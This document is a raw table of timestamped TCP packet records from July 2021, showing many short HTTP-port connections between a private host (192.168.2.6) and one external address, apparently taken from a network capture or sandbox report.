Jul 19, 2021 18:36:00.901186943 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.901201963 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.901216030 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.901231050 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.961822033 CEST	80	49842	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.961843014 CEST	80	49842	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.961941957 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.981352091 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.981374979 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.981390953 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.981404066 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.981911898 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.981931925 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.075906992 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.077558994 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.101547956 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.101754904 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.159660101 CEST	80	49842	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.159785986 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.160604000 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.160684109 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.162955999 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.245268106 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.256469011 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.256560087 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.330535889 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.330631971 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.330854893 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.330972910 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.369590044 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.371548891 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.412623882 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414087057 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414113998 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414124012 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414134979 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414311886 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.414947987 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.414961100 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.418493986 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.418509960 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.419409990 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.419430971 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.419442892 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.419501066 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.419600010 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.419609070 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.419611931 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.419733047 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.452023983 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.452120066 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.470705986 CEST	80	49845	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.470813990 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.471288919 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.498868942 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.498914003 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.498927116 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.499108076 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.499186039 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.511557102 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.511769056 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.570741892 CEST	80	49845	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.570784092 CEST	80	49845	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.571082115 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.581264973 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.581293106 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.581307888 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.581317902 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.581621885 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.581954002 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.593765020 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.593789101 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.593909025 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.594118118 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.595289946 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.595310926 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.664602041 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.664665937 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.664676905 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.664985895 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.673691034 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.673813105 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.681107044 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.681463957 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.682529926 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.763170958 CEST	80	49844	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.763362885 CEST	49844	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.765604019 CEST	80	49846	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.765712976 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.766417027 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.782726049 CEST	80	49845	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.786314964 CEST	49845	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.852818966 CEST	80	49846	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.852847099 CEST	80	49846	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:01.853075027 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.938787937 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.940001011 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:01.963306904 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.024799109 CEST	80	49846	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.027148962 CEST	49846	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.037480116 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.037570000 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.038033962 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.038194895 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.038399935 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.038507938 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.057097912 CEST	80	49848	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.061341047 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.062009096 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.136576891 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136610985 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136624098 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136631012 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136642933 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136653900 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.136759996 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.136804104 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.154720068 CEST	80	49848	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.154747009 CEST	80	49848	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.154824972 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.234242916 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234278917 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234291077 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234302044 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234312057 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234327078 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.234450102 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.234510899 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.236957073 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.240864992 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.261219025 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.262281895 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.333496094 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333522081 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333537102 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333549976 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333564043 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333581924 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333596945 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333611012 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333626032 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.333640099 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.336141109 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.338483095 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.338509083 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.338526964 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.338541031 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.338555098 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.338567972 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.351104021 CEST	80	49849	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.352677107 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.352772951 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.377909899 CEST	80	49848	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.380804062 CEST	49848	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.442831993 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.442850113 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.442866087 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.442881107 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.442893982 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.458178043 CEST	80	49849	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.458200932 CEST	80	49849	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.458273888 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.572350979 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.573877096 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.662832022 CEST	80	49849	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.662992001 CEST	49849	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.669711113 CEST	80	49850	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.669961929 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.670572042 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.764795065 CEST	80	49850	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.776797056 CEST	80	49850	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.776921034 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.796649933 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.796726942 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.885310888 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.886068106 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.888134956 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.968040943 CEST	80	49851	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.968194962 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.980952024 CEST	80	49850	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.981051922 CEST	49850	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.984318018 CEST	80	49847	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:02.984496117 CEST	49847	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:02.990434885 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.035444975 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.071342945 CEST	80	49851	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.085546970 CEST	80	49851	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.085674047 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.116039991 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.116241932 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.118108988 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.118349075 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.118599892 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.118756056 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.198925972 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.198951960 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.198965073 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.198971987 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.198985100 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.198997974 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.199011087 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.199026108 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.199295044 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.201822996 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.205764055 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.278121948 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278151035 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278166056 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278173923 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278182030 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278194904 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278305054 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278309107 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.278321981 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.278529882 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.280729055 CEST	80	49851	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.281128883 CEST	49851	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.288822889 CEST	80	49853	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.290433884 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.290469885 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.357455015 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.357475996 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.357522964 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.357537031 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.357564926 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.357606888 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.360871077 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.373878956 CEST	80	49853	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.376749039 CEST	80	49853	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.380820036 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.436352968 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.436372995 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.436384916 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.436399937 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.436413050 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.499473095 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.501188993 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.503705978 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.601000071 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.605659962 CEST	80	49854	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.608994007 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.613110065 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.614828110 CEST	80	49852	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.615272045 CEST	49852	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.617906094 CEST	80	49853	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.619904041 CEST	49853	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.682923079 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.687031984 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.688189983 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.688426018 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.688673019 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.688837051 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.714886904 CEST	80	49854	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.728840113 CEST	80	49854	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.728971004 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.768337965 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.768371105 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.768440962 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.768879890 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.768896103 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.768955946 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.769437075 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.769455910 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.769526005 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.770082951 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.770098925 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.770159960 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.770191908 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.770795107 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.770899057 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.770941973 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.770973921 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.771475077 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.771533012 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.771748066 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.771816969 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.772027016 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.772089958 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.848707914 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.848737001 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.848881006 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.848934889 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.849551916 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.849673033 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.850549936 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.850569010 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.850677013 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.850807905 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.852900028 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.861732960 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.928414106 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.928472996 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.928544998 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:03.928597927 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.928756952 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.929115057 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.929128885 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.929513931 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.929843903 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.929956913 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.930088043 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.934231997 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.934247971 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:03.940984011 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008476973 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008497953 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008512020 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008523941 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008538008 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008550882 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.008563042 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.020275116 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.020386934 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.060324907 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.060502052 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.060703039 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.060867071 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.061120033 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.061337948 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.061786890 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.062000036 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.062155962 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.062319994 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.135169029 CEST	49854	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.135942936 CEST	49856	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.140374899 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140399933 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140418053 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140431881 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140446901 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140508890 CEST	80	49855	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:04.140587091 CEST	49855	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:04.141495943 CEST	49855	80	192.168.2.6	185.114.247.54
